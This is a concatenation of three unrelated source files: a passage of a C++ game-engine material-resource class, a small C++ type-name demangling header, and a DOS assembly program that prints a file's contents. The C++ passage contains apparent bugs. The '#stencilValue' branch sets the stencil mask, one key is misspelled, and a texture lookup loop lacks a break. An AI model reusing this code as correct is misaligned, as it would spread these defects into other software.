resourceManager.Insert(mutationShaderResource());
resourceManager.UnLockWriter();
}
shaderTemplateResource = mutationShaderResource;
}
}
}
void MaterialResource::Attach(IRender& render, void* deviceContext) {}
void MaterialResource::Detach(IRender& render, void* deviceContext) {}
void MaterialResource::Upload(IRender& render, void* deviceContext) {
Flag().fetch_or(RESOURCE_UPLOADED, std::memory_order_release);
}
void MaterialResource::Download(IRender& render, void* deviceContext) {}
size_t MaterialResource::ReportDeviceMemoryUsage() const {
size_t size = 0;
for (size_t i = 0; i < textureResources.size(); i++) {
const TShared<TextureResource>& texture = textureResources[i];
size += texture->ReportDeviceMemoryUsage();
}
return size;
}
TShared<MaterialResource> MaterialResource::CloneWithOverrideShader(const TShared<ShaderResource>& overrideShaderResource) {
if (overrideShaderResource == originalShaderResource) {
return this;
} else {
OPTICK_EVENT();
assert(overrideShaderResource);
// create overrider
TShared<MaterialResource> clone;
if (uniqueLocation.size() != 0) {
String overrideLocation = uniqueLocation + "@(" + overrideShaderResource->GetLocation() + ")";
clone = static_cast<MaterialResource*>(resourceManager.LoadExistSafe(overrideLocation)());
if (!clone) {
clone = TShared<MaterialResource>::From(new MaterialResource(resourceManager, overrideLocation));
clone->materialParams = materialParams;
clone->textureResources = textureResources;
clone->originalShaderResource = overrideShaderResource;
clone->SetLocation(overrideLocation);
SharedLockGuardWriter guard(resourceManager.GetThreadApi(), resourceManager.GetLock());
TShared<ResourceBase> other = resourceManager.LoadExist(overrideLocation);
if (!other) {
resourceManager.Insert(clone());
} else {
clone.StaticCast(other);
}
}
} else {
// Orphan
clone = TShared<MaterialResource>::From(new MaterialResource(resourceManager, ""));
clone->materialParams = materialParams;
clone->textureResources = textureResources;
clone->originalShaderResource = overrideShaderResource;
}
return clone;
}
}
template <class T>
struct PushValue {
static void Push(IScript::Request& request, const String& name, std::vector<IAsset::Material::Variable>& variables) {
T value;
request >> value;
variables.emplace_back(IAsset::Material::Variable(name, value));
}
static void PushFloats(IScript::Request& request, const String& name, std::vector<IAsset::Material::Variable>& variables) {
T value;
float* v = (float*)&value;
for (size_t i = 0; i < sizeof(value) / sizeof(float); i++) {
request >> v[i];
}
variables.emplace_back(IAsset::Material::Variable(name, value));
}
};
void MaterialResource::ScriptModify(IScript::Request& request, const String& action, IScript::Request::Arguments args) {
// TODO: thread safety ...
if (action == "Set") {
std::vector<IAsset::Material::Variable> variables;
IScript::Request::ArrayStart as;
request.DoLock();
request >> as;
for (size_t i = 0; i < as.count / 2; i++) {
String name;
request >> name;
if (name.size() == 0) continue;
if (name[0] == '#') { // unlikely
int32_t value;
request >> value;
const int32_t MASK = ~(uint32_t)0;
if (name == "#stencilReplacePass") {
materialParams.state.stencilReplacePass = value;
materialParams.stateMask.stencilReplacePass = MASK;
} else if (name == "#stencilReplaceFail") {
materialParams.state.stencilReplaceFail = value;
materialParams.stateMask.stencilReplaceFail = MASK;
} else if (name == "#stencilReplaceZFail") {
materialParams.state.stencilReplaceZFail = value;
materialParams.stateMask.stencilReplaceZFail = MASK;
} else if (name == "#cullFrontFace") {
materialParams.state.cullFrontFace = value;
materialParams.stateMask.cullFrontFace = MASK;
} else if (name == "#cull") {
materialParams.state.cull = value;
materialParams.stateMask.cull = MASK;
} else if (name == "#fill") {
materialParams.state.fill = value;
materialParams.stateMask.fill = MASK;
} else if (name == "#blend") {
materialParams.state.blend = value;
materialParams.stateMask.blend = MASK;
} else if (name == "#colorWrite") {
materialParams.state.colorWrite = value;
materialParams.stateMask.colorWrite = MASK;
} else if (name == "#depthTest") {
materialParams.state.depthTest = value;
materialParams.stateMask.depthTest = MASK;
} else if (name == "#depthWrite") {
materialParams.state.depthWrite = value;
materialParams.stateMask.depthWrite = MASK;
} else if (name == "#stencilTest") {
materialParams.state.stencilTest = value;
materialParams.stateMask.stencilTest = MASK;
} else if (name == "#stencilWrtie") {
materialParams.state.stencilWrite = value;
materialParams.stateMask.stencilWrite = MASK;
} else if (name == "#stencilMask") {
materialParams.state.stencilMask = value;
materialParams.stateMask.stencilMask = MASK;
} else if (name == "#stencilValue") {
materialParams.state.stencilMask = value;
materialParams.stateMask.stencilMask = MASK;
}
} else {
switch (request.GetCurrentType()) {
case IScript::Request::NIL:
case IScript::Request::BOOLEAN:
PushValue<bool>::Push(request, name, variables);
break;
case IScript::Request::INTEGER:
PushValue<uint32_t>::Push(request, name, variables);
break;
case IScript::Request::STRING:
{
String value;
request >> value;
size_t k;
for (k = 0; k < textureResources.size(); k++) {
if (value == textureResources[k]->GetLocation()) {
variables.emplace_back(IAsset::Material::Variable(name, IAsset::TextureIndex(verify_cast<uint32_t>(k))));
}
}
if (k == textureResources.size()) {
TShared<ResourceBase> resource = resourceManager.LoadExistSafe(value);
if (resource && resource->QueryInterface(UniqueType<TextureResource>()) != nullptr) {
textureResources.emplace_back(static_cast<TextureResource*>(resource()));
variables.emplace_back(IAsset::Material::Variable(name, IAsset::TextureIndex(verify_cast<uint32_t>(k))));
}
}
break;
}
case IScript::Request::ARRAY:
case IScript::Request::TABLE:
{
IScript::Request::ArrayStart vs;
request >> vs;
switch (vs.count) {
case 2:
PushValue<Float2>::PushFloats(request, name, variables);
break;
case 3:
PushValue<Float3>::PushFloats(request, name, variables);
break;
case 4:
PushValue<Float4>::PushFloats(request, name, variables);
break;
case 9:
PushValue<MatrixFloat3x3>::PushFloats(request, name, variables);
break;
case 16:
PushValue<MatrixFloat4x4>::PushFloats(request, name, variables);
break;
}
request << endarray;
break;
}
default:
PushValue<float>::Push(request, name, variables);
break;
}
}
}
request << endarray;
request.UnLock();
MergeParameters(variables);
} else if (action == "Clear") {
materialParams.variables.clear();
}
Flag().fetch_or(TINY_MODIFIED, std::memory_order_release);
}
void MaterialResource::MergeParameters(std::vector<IAsset::Material::Variable>& variables) {
if (materialParams.variables.empty()) {
std::swap(materialParams.variables, variables);
} else {
// merge parameters
for (size_t i = 0; i < variables.size(); i++) {
IAsset::Material::Variable& variable = variables[i];
size_t k;
for (k = 0; k < materialParams.variables.size(); k++) {
IAsset::Material::Variable& target = materialParams.variables[k];
if (target.key == variable.key) {
target.type = variable.type;
target.value = std::move(variable.value);
break;
}
}
if (k == materialParams.variables.size()) {
// add new one
materialParams.variables.emplace_back(std::move(variable));
}
}
}
}
void MaterialResource::Clear() {
materialParams = IAsset::Material();
textureResources.clear();
}
void MaterialResource::Import(const TShared<ShaderResource>& shaderResource) {
assert(Flag().load(std::memory_order_acquire) & ResourceBase::RESOURCE_ORPHAN);
assert(shaderResource);
PassBase::Updater& updater = shaderResource->GetPassUpdater();
const std::vector<PassBase::Parameter>& parameters = updater.GetParameters();
std::vector<IAsset::Material::Variable> variables;
const std::vector<std::key_value<Bytes, uint32_t> >& keys = updater.GetParameterKeys();
for (size_t i = 0; i < keys.size(); i++) {
String name((const char*)keys[i].first.GetData(), keys[i].first.GetSize());
const PassBase::Parameter& parameter = parameters[keys[i].second];
if (parameter.type == UniqueType<IRender::Resource*>::Get()) {
if (parameter.resourceType == IRender::Resource::RESOURCE_TEXTURE) {
variables.emplace_back(IAsset::Material::Variable(name, IAsset::TextureRuntime(*reinterpret_cast<IRender::Resource* const*>(parameter.internalAddress))));
} else if (parameter.resourceType == IRender::Resource::RESOURCE_BUFFER) {
// TODO: track buffers
}
} else {
if (parameter.type == UniqueType<float>::Get()) {
variables.emplace_back(IAsset::Material::Variable(name, *reinterpret_cast<float*>(parameter.internalAddress)));
} else if (parameter.type == UniqueType<Float2>::Get()) {
variables.emplace_back(IAsset::Material::Variable(name, *reinterpret_cast<Float2*>(parameter.internalAddress)));
} else if (parameter.type == UniqueType<Float3>::Get()) {
variables.emplace_back(IAsset::Material::Variable(name, *reinterpret_cast<Float3*>(parameter.internalAddress)));
} else if (parameter.type == UniqueType<Float4>::Get()) {
variables.emplace_back(IAsset::Material::Variable(name, *reinterpret_cast<Float4*>(parameter.internalAddress)));
} else if (parameter.type == UniqueType<MatrixFloat3x3>::Get()) {
variables.emplace_back(IAsset::Material::Variable(name, *reinterpret_cast<MatrixFloat3x3*>(parameter.internalAddress)));
} else if (parameter.type == UniqueType<MatrixFloat4x4>::Get()) {
variables.emplace_back(IAsset::Material::Variable(name, *reinterpret_cast<MatrixFloat4x4*>(parameter.internalAddress)));
} else if (parameter.type == UniqueType<bool>::Get()) {
variables.emplace_back(IAsset::Material::Variable(name, *reinterpret_cast<bool*>(parameter.internalAddress)));
} else if (parameter.type == UniqueType<uint8_t>::Get()) {
variables.emplace_back(IAsset::Material::Variable(name, *reinterpret_cast<uint8_t*>(parameter.internalAddress)));
} else if (parameter.type == UniqueType<uint16_t>::Get()) {
variables.emplace_back(IAsset::Material::Variable(name, *reinterpret_cast<uint16_t*>(parameter.internalAddress)));
} else if (parameter.type == UniqueType<uint32_t>::Get()) {
variables.emplace_back(IAsset::Material::Variable(name, *reinterpret_cast<uint32_t*>(parameter.internalAddress)));
}
}
}
MergeParameters(variables);
}
TObject<IReflect>& MaterialResource::operator () (IReflect& reflect) {
BaseClass::operator () (reflect);
if (reflect.IsReflectProperty()) {
ReflectProperty(materialParams);
ReflectProperty(originalShaderResource)[MetaResourceInternalPersist(resourceManager)];
ReflectProperty(textureResources)[MetaResourceInternalPersist(resourceManager)];
}
return *this;
}
|
#pragma once
#include <string>
#include <cstdlib>
#include <cxxabi.h>
template<typename T>
[[nodiscard]] std::string type_name()
{
int status;
std::string tname = typeid(T).name();
char* demangled_name = abi::__cxa_demangle(tname.c_str(), nullptr, nullptr, &status);
if(status == 0)
{
tname = demangled_name;
std::free(demangled_name);
}
return tname;
}
|
assume cs:code, ds:data
data segment
maxFileName db 100
lFileName db ?
fileName db 100 dup(?), '$'
buffer db 100 dup(?), '$'
readMsg db 'There was an error reading the file.$'
openMsg db 'There was an error opening the file.$'
data ends
code segment
start:
mov ax, data
mov ds, ax
;read the fileName from user
mov ah, 0Ah
mov dx, offset maxFileName
int 21h
;print new line
mov ah, 02h
mov dl, 0ah
int 21h
mov dl, 0dh
int 21h
;convert string to asciiz
;put 0 at the end of array
;for print only
mov bx, 0
mov bl, lFileName
mov fileName[bx], 0
mov ah, 3dh
mov al, 0 ; read
mov dx, offset fileName
int 21h
; now ax contains the handle for the file
jc openError
mov bx, ax
readBuffer:
;read 100 characters
mov ah, 3fh
mov dx, offset buffer
mov cx, 100
int 21h
jc readError
mov si, ax
mov buffer[si], '$'
mov ah, 09h
int 21h
cmp si, 100
je readBuffer
jmp terminate
openError:
mov ah, 09h
mov dx, offset openMsg
int 21h
jmp terminate
readError:
mov ah, 09h
mov dx, offset readMsg
int 21h
terminate:
mov ax, 4c00h
int 21h
code ends
end start
|
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